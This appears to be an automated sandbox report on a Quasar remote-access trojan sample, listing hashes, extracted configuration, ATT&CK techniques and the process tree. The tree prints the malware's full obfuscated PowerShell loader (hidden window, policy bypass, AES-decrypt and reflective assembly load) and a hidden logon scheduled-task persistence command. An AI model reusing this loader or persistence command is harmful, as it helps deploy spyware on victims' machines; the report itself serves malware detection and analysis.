quasar | 39b6ba1d146867517cb7772b4a9665bf9139319dcb9e01ebb584ddab9daf54a8

Analysis

max time kernel
38s
max time network
43s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
11-02-2025 11:21

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General

Target

startup_str_232.bat
Size

1.8MB
MD5

d7c48a5173ca5bc25644c9799109c835
SHA1

8845470e96cf21d7ff11961d3dd370787960dc22
SHA256

39b6ba1d146867517cb7772b4a9665bf9139319dcb9e01ebb584ddab9daf54a8
SHA512

e6a9e4d84ae1609ce511ba346faac33023e5ed3217a5c082be69ef18378ae3498153659aeeb506d2100c696cb50d329e6c2c24d4233c2b1f9442a5c59293a939
SSDEEP

24576:va3qjALWb5fJ3LTbHrDt9uwqPffkE8s706cW4DNTfWihRFxwVyU6fmD7+P+XbCBe:y6ALi5fdLT1qPHlovRciV+VLkrWy4hx

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0

Botnet

Office04

127.0.0.1:4782

Mutex

504956fd-d532-425c-9e82-cbe7902cf377

Attributes

encryption_key
B8B9B325A830EF659FA4EC42DB8AA956BB46428A
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/4756-51-0x000001B1EA530000-0x000001B1EA854000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3300	powershell.exe
3680	powershell.exe
4756	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2211717155-842865201-3404093980-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3300	powershell.exe
3300	powershell.exe
3680	powershell.exe
3680	powershell.exe
4756	powershell.exe
4756	powershell.exe
4756	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeIncreaseQuotaPrivilege	3680	powershell.exe
Token: SeSecurityPrivilege	3680	powershell.exe
Token: SeTakeOwnershipPrivilege	3680	powershell.exe
Token: SeLoadDriverPrivilege	3680	powershell.exe
Token: SeSystemProfilePrivilege	3680	powershell.exe
Token: SeSystemtimePrivilege	3680	powershell.exe
Token: SeProfSingleProcessPrivilege	3680	powershell.exe
Token: SeIncBasePriorityPrivilege	3680	powershell.exe
Token: SeCreatePagefilePrivilege	3680	powershell.exe
Token: SeBackupPrivilege	3680	powershell.exe
Token: SeRestorePrivilege	3680	powershell.exe
Token: SeShutdownPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeSystemEnvironmentPrivilege	3680	powershell.exe
Token: SeRemoteShutdownPrivilege	3680	powershell.exe
Token: SeUndockPrivilege	3680	powershell.exe
Token: SeManageVolumePrivilege	3680	powershell.exe
Token: 33	3680	powershell.exe
Token: 34	3680	powershell.exe
Token: 35	3680	powershell.exe
Token: 36	3680	powershell.exe
Token: SeIncreaseQuotaPrivilege	3680	powershell.exe
Token: SeSecurityPrivilege	3680	powershell.exe
Token: SeTakeOwnershipPrivilege	3680	powershell.exe
Token: SeLoadDriverPrivilege	3680	powershell.exe
Token: SeSystemProfilePrivilege	3680	powershell.exe
Token: SeSystemtimePrivilege	3680	powershell.exe
Token: SeProfSingleProcessPrivilege	3680	powershell.exe
Token: SeIncBasePriorityPrivilege	3680	powershell.exe
Token: SeCreatePagefilePrivilege	3680	powershell.exe
Token: SeBackupPrivilege	3680	powershell.exe
Token: SeRestorePrivilege	3680	powershell.exe
Token: SeShutdownPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeSystemEnvironmentPrivilege	3680	powershell.exe
Token: SeRemoteShutdownPrivilege	3680	powershell.exe
Token: SeUndockPrivilege	3680	powershell.exe
Token: SeManageVolumePrivilege	3680	powershell.exe
Token: 33	3680	powershell.exe
Token: 34	3680	powershell.exe
Token: 35	3680	powershell.exe
Token: 36	3680	powershell.exe
Token: SeIncreaseQuotaPrivilege	3680	powershell.exe
Token: SeSecurityPrivilege	3680	powershell.exe
Token: SeTakeOwnershipPrivilege	3680	powershell.exe
Token: SeLoadDriverPrivilege	3680	powershell.exe
Token: SeSystemProfilePrivilege	3680	powershell.exe
Token: SeSystemtimePrivilege	3680	powershell.exe
Token: SeProfSingleProcessPrivilege	3680	powershell.exe
Token: SeIncBasePriorityPrivilege	3680	powershell.exe
Token: SeCreatePagefilePrivilege	3680	powershell.exe
Token: SeBackupPrivilege	3680	powershell.exe
Token: SeRestorePrivilege	3680	powershell.exe
Token: SeShutdownPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeSystemEnvironmentPrivilege	3680	powershell.exe
Token: SeRemoteShutdownPrivilege	3680	powershell.exe
Token: SeUndockPrivilege	3680	powershell.exe
Token: SeManageVolumePrivilege	3680	powershell.exe
Token: 33	3680	powershell.exe
Token: 34	3680	powershell.exe
Token: 35	3680	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4756	powershell.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4756	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 3300	2716	cmd.exe	89
PID 2716 wrote to memory of 3300	2716	cmd.exe	89
PID 3300 wrote to memory of 3680	3300	powershell.exe	93
PID 3300 wrote to memory of 3680	3300	powershell.exe	93
PID 3300 wrote to memory of 2452	3300	powershell.exe	96
PID 3300 wrote to memory of 2452	3300	powershell.exe	96
PID 2452 wrote to memory of 4408	2452	WScript.exe	97
PID 2452 wrote to memory of 4408	2452	WScript.exe	97
PID 4408 wrote to memory of 4756	4408	cmd.exe	99
PID 4408 wrote to memory of 4756	4408	cmd.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\startup_str_232.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gfr4+zeD+/eWhB2QAGtJiORh9A6UOWX3etZcAfnNQuY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z4PHG4bhLDvAXMFT9uGv8g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZgiJx=New-Object System.IO.MemoryStream(,$param_var); $nEiVV=New-Object System.IO.MemoryStream; $YutHx=New-Object System.IO.Compression.GZipStream($ZgiJx, [IO.Compression.CompressionMode]::Decompress); $YutHx.CopyTo($nEiVV); $YutHx.Dispose(); $ZgiJx.Dispose(); $nEiVV.Dispose(); $nEiVV.ToArray();}function execute_function($param_var,$param2_var){ $opAvX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QPQSI=$opAvX.EntryPoint; $QPQSI.Invoke($null, $param2_var);}$knrmS = 'C:\Users\Admin\AppData\Local\Temp\startup_str_232.bat';$host.UI.RawUI.WindowTitle = $knrmS;$zAhSA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($knrmS).Split([Environment]::NewLine);foreach ($giYxD in $zAhSA) { if ($giYxD.StartsWith(':: ')) { $iOpvd=$giYxD.Substring(3); break; }}$payloads_var=[string[]]$iOpvd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_994_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_994.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3680
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_994.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_994.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4408
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gfr4+zeD+/eWhB2QAGtJiORh9A6UOWX3etZcAfnNQuY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('z4PHG4bhLDvAXMFT9uGv8g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZgiJx=New-Object System.IO.MemoryStream(,$param_var); $nEiVV=New-Object System.IO.MemoryStream; $YutHx=New-Object System.IO.Compression.GZipStream($ZgiJx, [IO.Compression.CompressionMode]::Decompress); $YutHx.CopyTo($nEiVV); $YutHx.Dispose(); $ZgiJx.Dispose(); $nEiVV.Dispose(); $nEiVV.ToArray();}function execute_function($param_var,$param2_var){ $opAvX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $QPQSI=$opAvX.EntryPoint; $QPQSI.Invoke($null, $param2_var);}$knrmS = 'C:\Users\Admin\AppData\Roaming\startup_str_994.bat';$host.UI.RawUI.WindowTitle = $knrmS;$zAhSA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($knrmS).Split([Environment]::NewLine);foreach ($giYxD in $zAhSA) { if ($giYxD.StartsWith(':: ')) { $iOpvd=$giYxD.Substring(3); break; }}$payloads_var=[string[]]$iOpvd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
dbbf71e9fb59f80938f09809b160e441

SHA1
8b9a517d846cb9a0a284f77ed88328236a85055f

SHA256
e1de59d46c7c47af2d62f7754524b080a706be6b38d55a03733a10c3675598b1

SHA512
90b75d43ddb81c710fb8fe2fd15b5c05181c774d3f401e47862006adb1703bc65ad8fead4aaf7a28b8e2bbe7249f3de998bd9432c1e62fa8718a19dacc4b8840

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1sv3c0e.awa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_994.bat

Filesize
1.8MB

MD5
d7c48a5173ca5bc25644c9799109c835

SHA1
8845470e96cf21d7ff11961d3dd370787960dc22

SHA256
39b6ba1d146867517cb7772b4a9665bf9139319dcb9e01ebb584ddab9daf54a8

SHA512
e6a9e4d84ae1609ce511ba346faac33023e5ed3217a5c082be69ef18378ae3498153659aeeb506d2100c696cb50d329e6c2c24d4233c2b1f9442a5c59293a939

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_994.vbs

Filesize
115B

MD5
569721bd1c75d9acaa005072c5870f25

SHA1
ab658262db8c1b76100b3079667a1348fbc685b7

SHA256
4813d9eee1a74ee6c5fa1b72dbdb2a5f46f068690f5259b4d2c80eca31c4fcd5

SHA512
fe54c474195458fe653dfa0b89723a3df8ef21f3848e0da17da73837a22c0715831419bebd8d99c7829b56dd64b444305a608301003c53b0b46156e6f4eed557

Download Submit
memory/3300-39-0x00007FF9E6F90000-0x00007FF9E7A51000-memory.dmp

Filesize
10.8MB

Download
memory/3300-0-0x00007FF9E6F93000-0x00007FF9E6F95000-memory.dmp

Filesize
8KB

Download
memory/3300-50-0x00007FF9E6F90000-0x00007FF9E7A51000-memory.dmp

Filesize
10.8MB

Download
memory/3300-14-0x0000024A27600000-0x0000024A27758000-memory.dmp

Filesize
1.3MB

Download
memory/3300-10-0x0000024A0D060000-0x0000024A0D082000-memory.dmp

Filesize
136KB

Download
memory/3300-11-0x00007FF9E6F90000-0x00007FF9E7A51000-memory.dmp

Filesize
10.8MB

Download
memory/3300-13-0x0000024A0D090000-0x0000024A0D098000-memory.dmp

Filesize
32KB

Download
memory/3300-12-0x00007FF9E6F90000-0x00007FF9E7A51000-memory.dmp

Filesize
10.8MB

Download
memory/3680-30-0x00007FF9E6F90000-0x00007FF9E7A51000-memory.dmp

Filesize
10.8MB

Download
memory/3680-27-0x00007FF9E6F90000-0x00007FF9E7A51000-memory.dmp

Filesize
10.8MB

Download
memory/3680-26-0x00007FF9E6F90000-0x00007FF9E7A51000-memory.dmp

Filesize
10.8MB

Download
memory/3680-16-0x00007FF9E6F90000-0x00007FF9E7A51000-memory.dmp

Filesize
10.8MB

Download
memory/4756-51-0x000001B1EA530000-0x000001B1EA854000-memory.dmp

Filesize
3.1MB

Download
memory/4756-52-0x000001B1EAE80000-0x000001B1EAED0000-memory.dmp

Filesize
320KB

Download
memory/4756-53-0x000001B1EB290000-0x000001B1EB342000-memory.dmp

Filesize
712KB

Download
memory/4756-54-0x000001B1EB520000-0x000001B1EB6E2000-memory.dmp

Filesize
1.8MB

Download